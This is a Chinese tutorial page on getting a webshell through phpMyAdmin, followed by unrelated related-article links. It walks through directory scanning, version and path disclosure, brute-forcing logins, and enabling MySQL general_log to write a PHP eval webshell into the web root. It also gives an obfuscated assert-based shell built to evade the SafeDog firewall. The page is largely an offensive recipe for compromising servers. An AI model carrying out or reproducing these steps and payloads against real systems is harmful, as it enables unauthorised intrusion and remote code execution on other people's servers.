getshell技巧-phpMyAdmin的利用
生活就是泥沙俱下,鲜花和荆棘并存。——毕淑敏
1、明确目标
2、信息收集
3、漏洞挖掘和利用
信息收集
明确路径
利用目录扫描工具,对目标网站进行扫描,获取网站目录。常用工具有Kali中的DirBuster、dirb和wwwscan等。
我用的是Kali中的DirBuster,对目标进行扫描。
明确版本
利用内置的文件,(…../phpMyAdmin/README)获取phpMyAdmin的版本信息。
一般网站管理员不会把这个目录删除,所以可以成为我们利用的一个点。
明确登录口令
有两种方法,手工和暴力破解。手工就是用一些弱口令进行猜解。
暴力破解可以用phpMyAdmin多线程批量破解工具来对phpMyAdmin进行暴力破解。
但是工具只是给我们提供参考的,而且工具爆破对phpMyAdmin的版本有一定的要求。
明确系统类型
因为系统版本的不同,对权限的控制是不同的。Linux系统对权限的控制相对严格,而window则相对较为疏散的。所以说对window进行getshell相比Linux要容易。
明确php版本和数据库版本
可以在phpMyAdmin的管理也可以看到php版本、MySQL版本,系统类型。
因为php版本的差异,对渗透的利用是不一样的。
获取网站真实路径
phpinfo()函数直接获取
通过phpinfo.php或者phpinfo()进行获取网站真实路径。
php 大专栏 getshell技巧-phpMyAdmin的利用info.php中会有大量的信息,有php版本、网站路径等。
构造报错页面获取网站真实路径
通过构造报错可能会报出网站的真实路径。常见的有页面访问报错、sql注入报错,文件包含报错。
phpmyadmin报错常见路径:
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/phpMyAdmin/themes/darkblue_orange/layout.inc.php
/phpMyAdmin/libraries/select_lang.lib.php
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/libraries/mcrypt.lib.php
借助搜索引擎
借助搜索引擎,例如:百度、谷歌、fofa、shadon、zoomeye等,搜索关键字“error”,可能会报出网站的真实路径。
漏洞挖掘和利用
满足写shell的前提条件
SHOW VARIABLES LIKE “%secure_file_priv%”; 查看读写文件路径 “secure_file_priv”对应的值不能为null,为null就不能正常写入shell。
日志写shell
首先需要检测MySQL全局变量(general_log、general_log_file)的值。
general_log是日志保存状态,一共有两个值(ON/OFF),ON代表开启,OFF代表关闭。
general_log_file是日志的保存路径
1、开启日志保存
set global general_log=”ON”;
set global general_log_file=”D:/phpStudy/WWW/infos.php”(网站真实路径)
2、写shell
select ‘<?php eval($_POST[yumu)];?>’
免杀(绕过安全狗)
$arr = array(‘a’,’s’,’s’,’s’,’e’,’r’,’t’);
$func = “”;
for($i=0;$i<count($arr);$i++){
$func = $func.$arr[$i];
}
$func = substr($func,-6);
$func($_REQUEST[‘c’]);
#总结
在利用phpMyAdmin来getshell时,需要注意对网站信息的收集,特别是网站的PHP版本、网站真实路径。这样才能更好的对网站就行漏洞挖掘。
推荐文章
getshell技巧-phpMyAdmin的利用的更多相关文章
- Cadence技巧01:利用Excel速新建原理图元件库
Cadence技巧01:利用Excel速新建原理图元件库 听语音 | 浏览:1698 | 更新:2015-07-02 09:41 | 标签:excel 1 2 3 4 5 6 7 分步阅读 一键约师傅 ...
- Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上 ...
- phpmyadmin漏洞利用general_log和general_log_file拿权限
我们如果知道phpmyadmin和网站的绝对路径后,可以利用into outfile写马拿到权限,但是吧有新版本的mysql和一些系统设置的问题这个函数受到了secure-file-priv这个的影响 ...
- Redis主从复制getshell技巧
Redis未授权漏洞常见的漏洞利用方式: Windows下,绝对路径写webshell .写入启动项. Linux下,绝对路径写webshell .公私钥认证获取root权限 .利用contrab计划 ...
- 【技巧】只利用 Visual Stdio 自带的工具这么找父类?
很多人说只能 F12 看见子类 其实vs里面有一个叫“对象浏览器” 通过这个就可以直接定位父类,不需要利用reflector之类的工具来找父类 具体如下:
- Java从入门到精通——技巧篇之利用dom4j取出XML文件中的数据
在我们做项目的时候会经常用到XML文件用来配置系统,XML让系统更加的具有了灵活性,Java如何从XML中取出我们想要的数据呢?下面是我利用DOM4J来实现取出XML文件中的数据. XML文件 < ...
- CVE-2018-12613 phpmyadmin文件包含getshell连载(三)
这是phpmyadmin系列渗透思路的第三篇文章,前面一篇文章阐述了通过慢查询日志getshell,本文将通过文件包含漏洞展开讨论 #001 影响版本 Phpmyadmin 4.8.0/4.8.0.1 ...
- phpMyAdmin 4.8.x 本地文件包含漏洞利用
phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...
- phpmyadmin利用的多种方式
关于phpmyadmin的利用方式大佬们已经总结的很好了,这里只是造轮子(便于记录学习) 确认版本 渗透测试信息搜集永远是首位(也是最重要的一步).   默认目录/doc/html/index ...
随机推荐
- Excel VBA发送Email时自动允许Outlook安全对话框
在Outlook的宏安全性设置如果选择了“为所有宏提供通知” 并且,在[编程访问]中选择了“总是向我发出警告” 在其他VBA中创建邮件过程中,如果修改Recipients或者执行Send方法,都会弹出 ...
- Python 生成requirements文件以及使用requirements.txt部署项目
生成requirements.txt 当你的项目不再你的本地时,为了方便在新环境中配置好环境变量,你的项目需要一个记录其所有依赖包以及它们版本号的文件夹requirements.txt 文件. pip ...
- debian下通过scp 上传下载文件
1.上传本地文件到服务器 scp /path/filename username@servername:/path/ 2.从服务器上下载文件 scp username@servername:/path ...
- Monkey通过安装包获取包名
在monkey命令中,包名常作为一个参数.但我们经常知道apk文件,却不知道包名. 如何获取包名呢? 方法一:AAPT 在SDK的build-tools目录下,aapt工具可以查看,创建,更新zip格 ...
- redis day03
模拟缓存 django-admin startproject rmysite3 创建django项目 python3 manage.py startapp user 创建py应用 33 行 ...
- 43)PHP,mysql_fetch_row 和mysql_fetch_assoc和mysql_fetch_array
mysql_fetch_row 提取的结果是没有查询中的字段名了(也就是没有键id,GoodsName,只有值),如下图: mysql_fetch_assoc 提取的结果有键值,如下图: mysq ...
- 401认证钓鱼demo
<?php //@b4dboy if(!isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW'])) ...
- rest framework-解析器和渲染器-长期维护
############### 解析器 ############### # 解析器----数据解析器, # # 前端发送了json数据,在request的body里面, # 我们需要把json ...
- 关于Java中反射的总结
Java是面向对象的编程语言,万物皆对象,反射技术就是把类声明.类中的字段声明.方法声明.构造函数声明等都看成是对象,从而可以把类中的各个部分拆解出来单独处理,反射技术主要用来编写通用功能,平时编程使 ...
- [2015普及组-D]推销员 思维que
题:https://www.cometoj.com/problem/0221 #include<iostream> #include<cstring> #include< ...